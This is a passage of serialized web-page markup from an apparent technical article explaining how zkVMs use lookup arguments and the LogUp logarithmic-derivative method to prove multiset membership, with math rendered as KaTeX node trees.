opcode decode correctly?",{"type":24,"tag":3104,"props":115186,"children":115187},{},[115188],{"type":29,"value":115189},"Is this memory access consistent with previous accesses?",{"type":24,"tag":25,"props":115191,"children":115192},{},[115193,115198],{"type":24,"tag":7711,"props":115194,"children":115195},{},[115196],{"type":29,"value":115197},"The naive approach:",{"type":29,"value":115199}," Add constraints for each check. Expensive.",{"type":24,"tag":25,"props":115201,"children":115202},{},[115203,115208,115210,115215],{"type":24,"tag":7711,"props":115204,"children":115205},{},[115206],{"type":29,"value":115207},"The clever approach:",{"type":29,"value":115209}," Precompute a table of valid tuples. Prove that every value the program uses appears in the table. This is a ",{"type":24,"tag":7711,"props":115211,"children":115212},{},[115213],{"type":29,"value":115214},"multiset membership",{"type":29,"value":69623},{"type":24,"tag":25,"props":115217,"children":115218},{},[115219,115224],{"type":24,"tag":7711,"props":115220,"children":115221},{},[115222],{"type":29,"value":115223},"LogUp (Logarithmic Derivative):",{"type":29,"value":115225}," Encode multiset membership as a sum of fractions.",{"type":24,"tag":25,"props":115227,"children":115228},{},[115229,115231,115256,115258,115285],{"type":29,"value":115230},"If set ",{"type":24,"tag":32,"props":115232,"children":115234},{"className":115233},[6368,6369],[115235],{"type":24,"tag":90,"props":115236,"children":115238},{"className":115237},[6374],[115239],{"type":24,"tag":90,"props":115240,"children":115242},{"className":115241,"ariaHidden":6380},[6379],[115243],{"type":24,"tag":90,"props":115244,"children":115246},{"className":115245},[6385],[115247,115251],{"type":24,"tag":90,"props":115248,"children":115250},{"className":115249,"style":23379},[6390],[],{"type":24,"tag":90,"props":115252,"children":115254},{"className":115253},[6396,23384],[115255],{"type":29,"value":78597},{"type":29,"value":115257}," should equal set ",{"type":24,"tag":32,"props":115259,"children":115261},{"className":115260},[6368,6369],[115262],{"type":24,"tag":90,"props":115263,"children":115265},{"className":115264},[6374],[115266],{"type":24,"tag":90,"props":115267,"children":115269},{"className":115268,"ariaHidden":6380},[6379],[115270],{"type":24,"tag":90,"props":115271,"children":115273},{"className":115272},[6385],[115274,115278],{"type":24,"tag":90,"props":115275,"children":115277},{"className":115276,"style":23379},[6390],[],{"type":24,"tag":90,"props":115279,"children":115282},{"className":115280,"style":115281},[6396,23384],"margin-right:0.05017em;",[115283],{"type":29,"value":115284},"B",{"type":29,"value":115286}," as multisets:",{"type":24,"tag":25,"props":115288,"children":115289},{},[115290],{"type":24,"tag":32,"props":115291,"children":115293},{"className":115292},[6368,6369],[115294],{"type":24,"tag":90,"props":115295,"children":115297},{"className":115296},[6374],[115298],{"type":24,"tag":90,"props":115299,"children":115301},{"className":115300,"ariaHidden":6380},[6379],[115302,115517],{"type":24,"tag":90,"props":115303,"children":115305},{"className":115304},[6385],[115306,115311,115384,115388,115504,115508,115513],{"type":24,"tag":90,"props":115307,"children":115310},{"className":115308,"style":115309},[6390],"height:1.2484em;vertical-align:-0.4033em;",[],{"type":24,"tag":90,"props":115312,"children":115314},{"className":115313},[23420],[115315,115320],{"type":24,"tag":90,"props":115316,"children":115318},{"className":115317,"style":23427},[23420,23425,23426],[115319],{"type":29,"value":110672},{"type":24,"tag":90,"props":115321,"children":115323},{"className":115322},[6412],[115324],{"type":24,"tag":90,"props":115325,"children":115327},{"className":115326},[6417,23438],[115328,115372],{"type":24,"tag":90,"props":115329,"children":115331},{"className":115330},[6422],[115332,115367],{"type":24,"tag":90,"props":115333,"children":115336},{"className":115334,"style":115335},[6427],"height:0.1786em;",[115337],{"type":24,"tag":90,"props":115338,"children":115339},{"style":23451},[115340,115344],{"type":24,"tag":90,"props":115341,"children":115343},{"className":115342,"style":6437},[6436],[],{"type":24,"tag":90,"props":115345,"children":115347},{"className":115346},[6442,6443,6444,6445],[115348],{"type":24,"tag":90,"props":115349,"children":115351},{"className":115350},[6396,6445],[115352,115357,115362],{"type":24,"tag":90,"props":115353,"children":115355},{"className":115354},[6396,23384,6445],[115356],{"type":29,"value":69},{"type":24,"tag":90,"props":115358,"children":115360},{"className":115359},[6578,6445],[115361],{"type":29,"value":23491},{"type":24,"tag":90,"props":115363,"children":115365},{"className":115364},[6396,23384,6445],[115366],{"type":29,"value":78597},{"type":24,"tag":90,"props":115368,"children":115370},{"className":115369},[23541],[115371],{"type":29,"value":23544},{"type":24,"tag":90,"props":115373,"children":115375},{"className":115374},[6422],[115376],{"type":24,"tag":90,"props":115377,"children":115380},{"className":115378,"style":115379},[6427],"height:0.3271em;",[115381],{"type":24,"tag":90,"props":115382,"children":115383},{},[],{"type":24,"tag":90,"props":115385,"children":115387},{"className":115386,"style":6514},[6475],[],{"type":24,"tag":90,"props":115389,"children":115391},{"className":115390},[6396],[115392,115397,115500],{"type":24,"tag":90,"props":115393,"children":115396},{"className":115394},[23513,115395],"nulldelimiter",[],{"type":24,"tag":90,"props":115398,"children":115401},{"className":115399},[115400],"mfrac",[115402],{"type":24,"tag":90,"props":115403,"children":115405},{"className":115404},[6417,23438],[115406,115488],{"type":24,"tag":90,"props":115407,"children":115409},{"className":115408},[6422],[115410,115483],{"type":24,"tag":90,"props":115411,"children":115414},{"className":115412,"style":115413},[6427],"height:0.8451em;",[115415,115448,115462],{"type":24,"tag":90,"props":115416,"children":115418},{"style":115417},"top:-2.655em;",[115419,115423],{"type":24,"tag":90,"props":115420,"children":115422},{"className":115421,"style":114048},[6436],[],{"type":24,"tag":90,"props":115424,"children":115426},{"className":115425},[6442,6443,6444,6445],[115427],{"type":24,"tag":90,"props":115428,"children":115430},{"className":115429},[6396,6445],[115431,115438,115443],{"type":24,"tag":90,"props":115432,"children":115435},{"className":115433,"style":115434},[6396,23384,6445],"margin-right:0.04398em;",[115436],{"type":29,"value":115437},"z",{"type":24,"tag":90,"props":115439,"children":115441},{"className":115440},[6481,6445],[115442],{"type":29,"value":6456},{"type":24,"tag":90,"props":115444,"children":115446},{"className":115445},[6396,23384,6445],[115447],{"type":29,"value":69},{"type":24,"tag":90,"props":115449,"children":115451},{"style":115450},"top:-3.23em;",[115452,115456],{"type":24,"tag":90,"props":115453,"children":115455},{"className":115454,"style":114048},[6436],[],{"type":24,"tag":90,"props":115457,"children":115461},{"className":115458,"style":115460},[115459],"frac-line","border-bottom-width:0.04em;",[],{"type":24,"tag":90,"props":115463,"children":115465},{"style":115464},"top:-3.394em;",[115466,115470],{"type":24,"tag":90,"props":115467,"children":115469},{"className":115468,"style":114048},[6436],[],{"type":24,"tag":90,"props":115471,"children":115473},{"className":115472},[6442,6443,6444,6445],[115474],{"type":24,"tag":90,"props":115475,"children":115477},{"className":115476},[6396,6445],[115478],{"type":24,"tag":90,"props":115479,"children":115481},{"className":115480},[6396,6445],[115482],{"type":29,"value":534},{"type":24,"tag":90,"props":115484,"children":115486},{"className":115485},[23541],[115487],{"type":29,"value":23544},{"type":24,"tag":90,"props":115489,"children":115491},{"className":115490},[6422],[115492],{"type":24,"tag":90,"props":115493,"children":115496},{"className":115494,"style":115495},[6427],"height:0.4033em;",[115497],{"type":24,"tag":90,"props":115498,"children":115499},{},[],{"type":24,"tag":90,"props":115501,"children":115503},{"className":115502},[23535,115395],[],{"type":24,"tag":90,"props":115505,"children":115507},{"className":115506,"style":6573},[6475],[],{"type":24,"tag":90,"props":115509,"children":115511},{"className":115510},[6578],[115512],{"type":29,"value":5491},{"type":24,"tag":90,"props":115514,"children":115516},{"className":115515,"style":6573},[6475],[],{"type":24,"tag":90,"props":115518,"children":115520},{"className":115519},[6385],[115521,115525,115597,115601],{"type":24,"tag":90,"props":115522,"children":115524},{"className":115523,"style":115309},[6390],[],{"type":24,"tag":90,"props":115526,"children":115528},{"className":115527},[23420],[115529,115534],{"type":24,"tag":90,"props":115530,"children":115532},{"className":115531,"style":23427},[23420,23425,23426],[115533],{"type":29,"value":110672},{"type":24,"tag":90,"props":115535,"children":115537},{"className":115536},[6412],[115538],{"type":24,"tag":90,"props":115539,"children":115541},{"className":115540},[6417,23438],[115542,115586],{"type":24,"tag":90,"props":115543,"children":115545},{"className":115544},[6422],[115546,115581],{"type":24,"tag":90,"props":115547,"children":115550},{"className":115548,"style":115549},[6427],"height:0.1864em;",[115551],{"type":24,"tag":90,"props":115552,"children":115553},{"style":23451},[115554,115558],{"type":24,"tag":90,"props":115555,"children":115557},{"className":115556,"style":6437},[6436],[],{"type":24,"tag":90,"props":115559,"children":115561},{"className":115560},[6442,6443,6444,6445],[115562],{"type":24,"tag":90,"props":115563,"children":115565},{"className":115564},[6396,6445],[115566,115571,115576],{"type":24,"tag":90,"props":115567,"children":115569},{"className":115568},[6396,23384,6445],[115570],{"type":29,"value":5617},{"type":24,"tag":90,"props":115572,"children":115574},{"className":115573},[6578,6445],[115575],{"type":29,"value":23491},{"type":24,"tag":90,"props":115577,"children":115579},{"className":115578,"style":115281},[6396,23384,6445],[115580],{"type":29,"value":115284},{"type":24,"tag":90,"props":115582,"children":115584},{"className":115583},[23541],[115585],{"type":29,"value":23544},{"type":24,"tag":90,"props":115587,"children":115589},{"className":115588},[6422],[115590],{"type":24,"tag":90,"props":115591,"children":115593},{"className":115592,"style":115379},[6427],[115594],{"type":24,"tag":90,"props":115595,"children":115596},{},[],{"type":24,"tag":90,"props":115598,"children":115600},{"className":115599,"style":6514},[6475],[],{"type":24,"tag":90,"props":115602,"children":115604},{"className":115603},[6396],[115605,115609,115702],{"type":24,"tag":90,"props":115606,"children":115608},{"className":115607},[23513,115395],[],{"type":24,"tag":90,"props":115610,"children":115612},{"className":115611},[115400],[115613],{"type":24,"tag":90,"props":115614,"children":115616},{"className":115615},[6417,23438],[115617,115691],{"type":24,"tag":90,"props":115618,"children":115620},{"className":115619},[6422],[115621,115686],{"type":24,"tag":90,"props":115622,"children":115624},{"className":115623,"style":115413},[6427],[115625,115655,115666],{"type":24,"tag":90,"props":115626,"children":115627},{"style":115417},[115628,115632],{"type":24,"tag":90,"props":115629,"children":115631},{"className":115630,"style":114048},[6436],[],{"type":24,"tag":90,"props":115633,"children":115635},{"className":115634},[6442,6443,6444,6445],[115636],{"type":24,"tag":90,"props":115637,"children":115639},{"className":115638},[6396,6445],[115640,115645,115650],{"type":24,"tag":90,"props":115641,"children":115643},{"className":115642,"style":115434},[6396,23384,6445],[115644],{"type":29,"value":115437},{"type":24,"tag":90,"props":115646,"children":115648},{"className":115647},[6481,6445],[115649],{"type":29,"value":6456},{"type":24,"tag":90,"props":115651,"children":115653},{"className":115652},[6396,23384,6445],[115654],{"type":29,"value":5617},{"type":24,"tag":90,"props":115656,"children":115657},{"style":115450},[115658,115662],{"type":24,"tag":90,"props":115659,"children":115661},{"className":115660,"style":114048},[6436],[],{"type":24,"tag":90,"props":115663,"children":115665},{"className":115664,"style":115460},[115459],[],{"type":24,"tag":90,"props":115667,"children":115668},{"style":115464},[115669,115673],{"type":24,"tag":90,"props":115670,"children":115672},{"className":115671,"style":114048},[6436],[],{"type":24,"tag":90,"props":115674,"children":115676},{"className":115675},[6442,6443,6444,6445],[115677],{"type":24,"tag":90,"props":115678,"children":115680},{"className":115679},[6396,6445],[115681],{"type":24,"tag":90,"props":115682,"children":115684},{"className":115683},[6396,6445],[115685],{"type":29,"value":534},{"type":24,"tag":90,"props":115687,"children":115689},{"className":115688},[23541],[115690],{"type":29,"value":23544},{"type":24,"tag":90,"props":115692,"children":115694},{"className":115693},[6422],[115695],{"type":24,"tag":90,"props":115696,"children":115698},{"className":115697,"style":115495},[6427],[115699],{"type":24,"tag":90,"props":115700,"children":115701},{},[],{"type":24,"tag":90,"props":115703,"children":115705},{"className":115704},[23535,115395],[],{"type":24,"tag":25,"props":115707,"children":115708},{},[115709,115711,115736],{"type":29,"value":115710},"for random challenge ",{"type":24,"tag":32,"props":115712,"children":115714},{"className":115713},[6368,6369],[115715],{"type":24,"tag":90,"props":115716,"children":115718},{"className":115717},[6374],[115719],{"type":24,"tag":90,"props":115720,"children":115722},{"className":115721,"ariaHidden":6380},[6379],[115723],{"type":24,"tag":90,"props":115724,"children":115726},{"className":115725},[6385],[115727,115731],{"type":24,"tag":90,"props":115728,"children":115730},{"className":115729,"style":112718},[6390],[],{"type":24,"tag":90,"props":115732,"children":115734},{"className":115733,"style":115434},[6396,23384],[115735],{"type":29,"value":115437},{"type":29,"value":115737},". If the multisets match, the sums are equal. If they differ, the sums differ with overwhelming probability.",{"type":24,"tag":25,"props":115739,"children":115740},{},[115741,115746],{"type":24,"tag":7711,"props":115742,"children":115743},{},[115744],{"type":29,"value":115745},"In zkVMs:",{"type":29,"value":115747}," Different components emit and consume lookup tuples:",{"type":24,"tag":3207,"props":115749,"children":115750},{},[115751,115838],{"type":24,"tag":3104,"props":115752,"children":115753},{},[115754,115756,115782,115784,115809,115811,115837],{"type":29,"value":115755},"CPU emits: \"I read value ",{"type":24,"tag":32,"props":115757,"children":115759},{"className":115758},[6368,6369],[115760],{"type":24,"tag":90,"props":115761,"children":115763},{"className":115762},[6374],[115764],{"type":24,"tag":90,"props":115765,"children":115767},{"className":115766,"ariaHidden":6380},[6379],[115768],{"type":24,"tag":90,"props":115769,"children":115771},{"className":115770},[6385],[115772,115776],{"type":24,"tag":90,"props":115773,"children":115775},{"className":115774,"style":112718},[6390],[],{"type":24,"tag":90,"props":115777,"children":115779},{"className":115778,"style":95363},[6396,23384],[115780],{"type":29,"value":115781},"v",{"type":29,"value":115783}," from address ",{"type":24,"tag":32,"props":115785,"children":115787},{"className":115786},[6368,6369],[115788],{"type":24,"tag":90,"props":115789,"children":115791},{"className":115790},[6374],[115792],{"type":24,"tag":90,"props":115793,"children":115795},{"className":115794,"ariaHidden":6380},[6379],[115796],{"type":24,"tag":90,"props":115797,"children":115799},{"className":115798},[6385],[115800,115804],{"type":24,"tag":90,"props":115801,"children":115803},{"className":115802,"style":112718},[6390],[],{"type":24,"tag":90,"props":115805,"children":115807},{"className":115806},[6396,23384],[115808],{"type":29,"value":69},{"type":29,"value":115810}," at time ",{"type":24,"tag":32,"props":115812,"children":115814},{"className":115813},[6368,6369],[115815],{"type":24,"tag":90,"props":115816,"children":115818},{"className":115817},[6374],[115819],{"type":24,"tag":90,"props":115820,"children":115822},{"className":115821,"ariaHidden":6380},[6379],[115823],{"type":24,"tag":90,"props":115824,"children":115826},{"className":115825},[6385],[115827,115832],{"type":24,"tag":90,"props":115828,"children":115831},{"className":115829,"style":115830},[6390],"height:0.6151em;",[],{"type":24,"tag":90,"props":115833,"children":115835},{"className":115834},[6396,23384],[115836],{"type":29,"value":23526},{"type":29,"value":21855},{"type":24,"tag":3104,"props":115839,"children":115840},{},[115841,115843,115868,115870,115895,115897,115922],{"type":29,"value":115842},"Memory table consumes: \"At time ",{"type":24,"tag":32,"props":115844,"children":115846},{"className":115845},[6368,6369],[115847],{"type":24,"tag":90,"props":115848,"children":115850},{"className":115849},[6374],[115851],{"type":24,"tag":90,"props":115852,"children":115854},{"className":115853,"ariaHidden":6380},[6379],[115855],{"type":24,"tag":90,"props":115856,"children":115858},{"className":115857},[6385],[115859,115863],{"type":24,"tag":90,"props":115860,"children":115862},{"className":115861,"style":115830},[6390],[],{"type":24,"tag":90,"props":115864,"children":115866},{"className":115865},[6396,23384],[115867],{"type":29,"value":23526},{"type":29,"value":115869},", address ",{"type":24,"tag":32,"props":115871,"children":115873},{"className":115872},[6368,6369],[115874],{"type":24,"tag":90,"props":115875,"children":115877},{"className":115876},[6374],[115878],{"type":24,"tag":90,"props":115879,"children":115881},{"className":115880,"ariaHidden":6380},[6379],[115882],{"type":24,"tag":90,"props":115883,"children":115885},{"className":115884},[6385],[115886,115890],{"type":24,"tag":90,"props":115887,"children":115889},{"className":115888,"style":112718},[6390],[],{"type":24,"tag":90,"props":115891,"children":115893},{"className":115892},[6396,23384],[115894],{"type":29,"value":69},{"type":29,"value":115896}," contained ",{"type":24,"tag":32,"props":115898,"children":115900},{"className":115899},[6368,6369],[115901],{"type":24,"tag":90,"props":115902,"children":115904},{"className":115903},[6374],[115905],{"type":24,"tag":90,"props":115906,"children":115908},{"className":115907,"ariaHidden":6380},[6379],[115909],{"type":24,"tag":90,"props":115910,"children":115912},{"className":115911},[6385],[115913,115917],{"type":24,"tag":90,"props":115914,"children":115916},{"className":115915,"style":112718},[6390],[],{"type":24,"tag":90,"props":115918,"children":115920},{"className":115919,"style":95363},[6396,23384],[115921],{"type":29,"value":115781},{"type":29,"value":21855},{"type":24,"tag":25,"props":115924,"children":115925},{},[115926],{"type":29,"value":115927},"If everything balances, the execution is consistent.",{"type":24,"tag":25,"props":115929,"children":115930},{},[115931,115936],{"type":24,"tag":7711,"props":115932,"children":115933},{},[115934],{"type":29,"value":115935},"The claimed_sum:",{"type":29,"value":115937}," Each component computes its contribution to the LogUp sum:",{"type":24,"tag":25,"props":115939,"children":115940},{},[115941],{"type":24,"tag":32,"props":115942,"children":115944},{"className":115943},[6368,6369],[115945],{"type":24,"tag":90,"props":115946,"children":115948},{"className":115947},[6374],[115949],{"type":24,"tag":90,"props":115950,"children":115952},{"className":115951,"ariaHidden":6380},[6379],[115953,116051,116302],{"type":24,"tag":90,"props":115954,"children":115956},{"className":115955},[6385],[115957,115961,115971,115976,116038,116042,116047],{"type":24,"tag":90,"props":115958,"children":115960},{"className":115959,"style":96290},[6390],[],{"type":24,"tag":90,"props":115962,"children":115964},{"className":115963},[6396,29],[115965],{"type":24,"tag":90,"props":115966,"children":115968},{"className":115967},[6396],[115969],{"type":29,"value":115970},"claimed",{"type":24,"tag":90,"props":115972,"children":115974},{"className":115973,"style":94877},[6396],[115975],{"type":29,"value":5482},{"type":24,"tag":90,"props":115977,"children":115979},{"className":115978},[6396],[115980,115989],{"type":24,"tag":90,"props":115981,"children":115983},{"className":115982},[6396,29],[115984],{"type":24,"tag":90,"props":115985,"children":115987},{"className":115986},[6396],[115988],{"type":29,"value":78462},{"type":24,"tag":90,"props":115990,"children":115992},{"className":115991},[6412],[115993],{"type":24,"tag":90,"props":115994,"children":115996},{"className":115995},[6417,23438],[115997,116027],{"type":24,"tag":90,"props":115998,"children":116000},{"className":115999},[6422],[116001,116022],{"type":24,"tag":90,"props":116002,"children":116004},{"className":116003,"style":95406},[6427],[116005],{"type":24,"tag":90,"props":116006,"children":116008},{"style":116007},"top:-2.55em;margin-right:0.05em;",[116009,116013],{"type":24,"tag":90,"props":116010,"children":116012},{"className":116011,"style":6437},[6436],[],{"type":24,"tag":90,"props":116014,"children":116016},{"className":116015},[6442,6443,6444,6445],[116017],{"type":24,"tag":90,"props":116018,"children":116020},{"className":116019},[6396,23384,6445],[116021],{"type":29,"value":6123},{"type":24,"tag":90,"props":116023,"children":116025},{"className":116024},[23541],[116026],{"type":29,"value":23544},{"type":24,"tag":90,"props":116028,"children":116030},{"className":116029},[6422],[116031],{"type":24,"tag":90,"props":116032,"children":116034},{"className":116033,"style":94960},[6427],[116035],{"type":24,"tag":90,"props":116036,"children":116037},{},[],{"type":24,"tag":90,"props":116039,"children":116041},{"className":116040,"style":6573},[6475],[],{"type":24,"tag":90,"props":116043,"children":116045},{"className":116044},[6578],[116046],{"type":29,"value":5491},{"type":24,"tag":90,"props":116048,"children":116050},{"className":116049,"style":6573},[6475],[],{"type":24,"tag":90,"props":116052,"children":116054},{"className":116053},[6385],[116055,116060,116120,116124,116289,116293,116298],{"type":24,"tag":90,"props":116056,"children":116059},{"className":116057,"style":116058},[6390],"height:1.3874em;vertical-align:-0.5423em;",[],{"type":24,"tag":90,"props":116061,"children":116063},{"className":116062},[23420],[116064,116069],{"type":24,"tag":90,"props":116065,"children":116067},{"className":116066,"style":23427},[23420,23425,23426],[116068],{"type":29,"value":110672},{"type":24,"tag":90,"props":116070,"children":116072},{"className":116071},[6412],[116073],{"type":24,"tag":90,"props":116074,"children":116076},{"className":116075},[6417,23438],[116077,116108],{"type":24,"tag":90,"props":116078,"children":116080},{"className":116079},[6422],[116081,116103],{"type":24,"tag":90,"props":116082,"children":116085},{"className":116083,"style":116084},[6427],"height:0.162em;",[116086],{"type":24,"tag":90,"props":116087,"children":116088},{"style":23451},[116089,116093],{"type":24,"tag":90,"props":116090,"children":116092},{"className":116091,"style":6437},[6436],[],{"type":24,"tag":90,"props":116094,"children":116096},{"className":116095},[6442,6443,6444,6445],[116097],{"type":24,"tag":90,"props":116098,"children":116101},{"className":116099,"style":116100},[6396,23384,6445],"margin-right:0.05724em;",[116102],{"type":29,"value":11032},{"type":24,"tag":90,"props":116104,"children":116106},{"className":116105},[23541],[116107],{"type":29,"value":23544},{"type":24,"tag":90,"props":116109,"children":116111},{"className":116110},[6422],[116112],{"type":24,"tag":90,"props":116113,"children":116116},{"className":116114,"style":116115},[6427],"height:0.4358em;",[116117],{"type":24,"tag":90,"props":116118,"children":116119},{},[],{"type":24,"tag":90,"props":116121,"children":116123},{"className":116122,"style":6514},[6475],[],{"type":24,"tag":90,"props":116125,"children":116127},{"className":116126},[6396],[116128,116132,116285],{"type":24,"tag":90,"props":116129,"children":116131},{"className":116130},[23513,115395],[],{"type":24,"tag":90,"props":116133,"children":116135},{"className":116134},[115400],[116136],{"type":24,"tag":90,"props":116137,"children":116139},{"className":116138},[6417,23438],[116140,116273],{"type":24,"tag":90,"props":116141,"children":116143},{"className":116142},[6422],[116144,116268],{"type":24,"tag":90,"props":116145,"children":116147},{"className":116146,"style":115413},[6427],[116148,116237,116248],{"type":24,"tag":90,"props":116149,"children":116150},{"style":115417},[116151,116155],{"type":24,"tag":90,"props":116152,"children":116154},{"className":116153,"style":114048},[6436],[],{"type":24,"tag":90,"props":116156,"children":116158},{"className":116157},[6442,6443,6444,6445],[116159],{"type":24,"tag":90,"props":116160,"children":116162},{"className":116161},[6396,6445],[116163,116168,116173],{"type":24,"tag":90,"props":116164,"children":116166},{"className":116165,"style":115434},[6396,23384,6445],[116167],{"type":29,"value":115437},{"type":24,"tag":90,"props":116169,"children":116171},{"className":116170},[6481,6445],[116172],{"type":29,"value":6456},{"type":24,"tag":90,"props":116174,"children":116176},{"className":116175},[6396,6445],[116177,116186],{"type":24,"tag":90,"props":116178,"children":116180},{"className":116179},[6396,29,6445],[116181],{"type":24,"tag":90,"props":116182,"children":116184},{"className":116183},[6396,6445],[116185],{"type":29,"value":63834},{"type":24,"tag":90,"props":116187,"children":116189},{"className":116188},[6412],[116190],{"type":24,"tag":90,"props":116191,"children":116193},{"className":116192},[6417,23438],[116194,116225],{"type":24,"tag":90,"props":116195,"children":116197},{"className":116196},[6422],[116198,116220],{"type":24,"tag":90,"props":116199,"children":116202},{"className":116200,"style":116201},[6427],"height:0.3281em;",[116203],{"type":24,"tag":90,"props":116204,"children":116206},{"style":116205},"top:-2.357em;margin-right:0.0714em;",[116207,116211],{"type":24,"tag":90,"props":116208,"children":116210},{"className":116209,"style":110737},[6436],[],{"type":24,"tag":90,"props":116212,"children":116214},{"className":116213},[6442,110742,110743,6445],[116215],{"type":24,"tag":90,"props":116216,"children":116218},{"className":116217,"style":116100},[6396,23384,6445],[116219],{"type":29,"value":11032},{"type":24,"tag":90,"props":116221,"children":116223},{"className":116222},[23541],[116224],{"type":29,"value":23544},{"type":24,"tag":90,"props":116226,"children":116228},{"className":116227},[6422],[116229],{"type":24,"tag":90,"props":116230,"children":116233},{"className":116231,"style":116232},[6427],"height:0.2819em;",[116234],{"type":24,"tag":90,"props":116235,"children":116236},{},[],{"type":24,"tag":90,"props":116238,"children":116239},{"style":115450},[116240,116244],{"type":24,"tag":90,"props":116241,"children":116243},{"className":116242,"style":114048},[6436],[],{"type":24,"tag":90,"props":116245,"children":116247},{"className":116246,"style":115460},[115459],[],{"type":24,"tag":90,"props":116249,"children":116250},{"style":115464},[116251,116255],{"type":24,"tag":90,"props":116252,"children":116254},{"className":116253,"style":114048},[6436],[],{"type":24,"tag":90,"props":116256,"children":116258},{"className":116257},[6442,6443,6444,6445],[116259],{"type":24,"tag":90,"props":116260,"children":116262},{"className":116261},[6396,6445],[116263],{"type":24,"tag":90,"props":116264,"children":116266},{"className":116265},[6396,6445],[116267],{"type":29,"value":534},{"type":24,"tag":90,"props":116269,"children":116271},{"className":116270},[23541],[116272],{"type":29,"value":23544},{"type":24,"tag":90,"props":116274,"children":116276},{"className":116275},[6422],[116277],{"type":24,"tag":90,"props":116278,"children":116281},{"className":116279,"style":116280},[6427],"height:0.5423em;",[116282],{"type":24,"tag":90,"props":116283,"children":116284},{},[],{"type":24,"tag":90,"props":116286,"children":116288},{"className":116287},[23535,115395],[],{"type":24,"tag":90,"props":116290,"children":116292},{"className":116291,"style":6476},[6475],[],{"type":24,"tag":90,"props":116294,"children":116296},{"className":116295},[6481],[116297],{"type":29,"value":6456},{"type":24,"tag":90,"props":116299,"children":116301},{"className":116300,"style":6476},[6475],[],{"type":24,"tag":90,"props":116303,"children":116305},{"className":116304},[6385],[116306,116311,116369,116373],{"type":24,"tag":90,"props":116307,"children":116310},{"className":116308,"style":116309},[6390],"height:1.296em;vertical-align:-0.4509em;",[],{"type":24,"tag":90,"props":116312,"children":116314},{"className":116313},[23420],[116315,116320],{"type":24,"tag":90,"props":116316,"children":116318},{"className":116317,"style":23427},[23420,23425,23426],[116319],{"type":29,"value":110672},{"type":24,"tag":90,"props":116321,"children":116323},{"className":116322},[6412],[116324],{"type":24,"tag":90,"props":116325,"children":116327},{"className":116326},[6417,23438],[116328,116357],{"type":24,"tag":90,"props":116329,"children":116331},{"className":116330},[6422],[116332,116352],{"type":24,"tag":90,"props":116333,"children":116335},{"className":116334,"style":115549},[6427],[116336],{"type":24,"tag":90,"props":116337,"children":116338},{"style":23451},[116339,116343],{"type":24,"tag":90,"props":116340,"children":116342},{"className":116341,"style":6437},[6436],[],{"type":24,"tag":90,"props":116344,"children":116346},{"className":116345},[6442,6443,6444,6445],[116347],{"type":24,"tag":90,"props":116348,"children":116350},{"className":116349,"style":96306},[6396,23384,6445],[116351],{"type":29,"value":90514},{"type":24,"tag":90,"props":116353,"children":116355},{"className":116354},[23541],[116356],{"type":29,"value":23544},{"type":24,"tag":90,"props":116358,"children":116360},{"className":116359},[6422],[116361],{"type":24,"tag":90,"props":116362,"children":116365},{"className":116363,"style":116364},[6427],"height:0.2997em;",[116366],{"type":24,"tag":90,"props":116367,"children":116368},{},[],{"type":24,"tag":90,"props":116370,"children":116372},{"className":116371,"style":6514},[6475],[],{"type":24,"tag":90,"props":116374,"children":116376},{"className":116375},[6396],[116377,116381,116534],{"type":24,"tag":90,"props":116378,"children":116380},{"className":116379},[23513,115395],[],{"type":24,"tag":90,"props":116382,"children":116384},{"className":116383},[115400],[116385],{"type":24,"tag":90,"props":116386,"children":116388},{"className":116387},[6417,23438],[116389,116522],{"type":24,"tag":90,"props":116390,"children":116392},{"className":116391},[6422],[116393,116517],{"type":24,"tag":90,"props":116394,"children":116396},{"className":116395,"style":115413},[6427],[116397,116486,116497],{"type":24,"tag":90,"props":116398,"children":116399},{"style":115417},[116400,116404],{"type":24,"tag":90,"props":116401,"children":116403},{"className":116402,"style":114048},[6436],[],{"type":24,"tag":90,"props":116405,"children":116407},{"className":116406},[6442,6443,6444,6445],[116408],{"type":24,"tag":90,"props":116409,"children":116411},{"className":116410},[6396,6445],[116412,116417,116422],{"type":24,"tag":90,"props":116413,"children":116415},{"className":116414,"style":115434},[6396,23384,6445],[116416],{"type":29,"value":115437},{"type":24,"tag":90,"props":116418,"children":116420},{"className":116419},[6481,6445],[116421],{"type":29,"value":6456},{"type":24,"tag":90,"props":116423,"children":116425},{"className":116424},[6396,6445],[116426,116436],{"type":24,"tag":90,"props":116427,"children":116429},{"className":116428},[6396,29,6445],[116430],{"type":24,"tag":90,"props":116431,"children":116433},{"className":116432},[6396,6445],[116434],{"type":29,"value":116435},"consume",{"type":24,"tag":90,"props":116437,"children":116439},{"className":116438},[6412],[116440],{"type":24,"tag":90,"props":116441,"children":116443},{"className":116442},[6417,23438],[116444,116474],{"type":24,"tag":90,"props":116445,"children":116447},{"className":116446},[6422],[116448,116469],{"type":24,"tag":90,"props":116449,"children":116451},{"className":116450,"style":114209},[6427],[116452],{"type":24,"tag":90,"props":116453,"children":116455},{"style":116454},"top:-2.3488em;margin-right:0.0714em;",[116456,116460],{"type":24,"tag":90,"props":116457,"children":116459},{"className":116458,"style":110737},[6436],[],{"type":24,"tag":90,"props":116461,"children":116463},{"className":116462},[6442,110742,110743,6445],[116464],{"type":24,"tag":90,"props":116465,"children":116467},{"className":116466,"style":96306},[6396,23384,6445],[116468],{"type":29,"value":90514},{"type":24,"tag":90,"props":116470,"children":116472},{"className":116471},[23541],[116473],{"type":29,"value":23544},{"type":24,"tag":90,"props":116475,"children":116477},{"className":116476},[6422],[116478],{"type":24,"tag":90,"props":116479,"children":116482},{"className":116480,"style":116481},[6427],"height:0.1512em;",[116483],{"type":24,"tag":90,"props":116484,"children":116485},{},[],{"type":24,"tag":90,"props":116487,"children":116488},{"style":115450},[116489,116493],{"type":24,"tag":90,"props":116490,"children":116492},{"className":116491,"style":114048},[6436],[],{"type":24,"tag":90,"props":116494,"children":116496},{"className":116495,"style":115460},[115459],[],{"type":24,"tag":90,"props":116498,"children":116499},{"style":115464},[116500,116504],{"type":24,"tag":90,"props":116501,"children":116503},{"className":116502,"style":114048},[6436],[],{"type":24,"tag":90,"props":116505,"children":116507},{"className":116506},[6442,6443,6444,6445],[116508],{"type":24,"tag":90,"props":116509,"children":116511},{"className":116510},[6396,6445],[116512],{"type":24,"tag":90,"props":116513,"children":116515},{"className":116514},[6396,6445],[116516],{"type":29,"value":534},{"type":24,"tag":90,"props":116518,"children":116520},{"className":116519},[23541],[116521],{"type":29,"value":23544},{"type":24,"tag":90,"props":116523,"children":116525},{"className":116524},[6422],[116526],{"type":24,"tag":90,"props":116527,"children":116530},{"className":116528,"style":116529},[6427],"height:0.4509em;",[116531],{"type":24,"tag":90,"props":116532,"children":116533},{},[],{"type":24,"tag":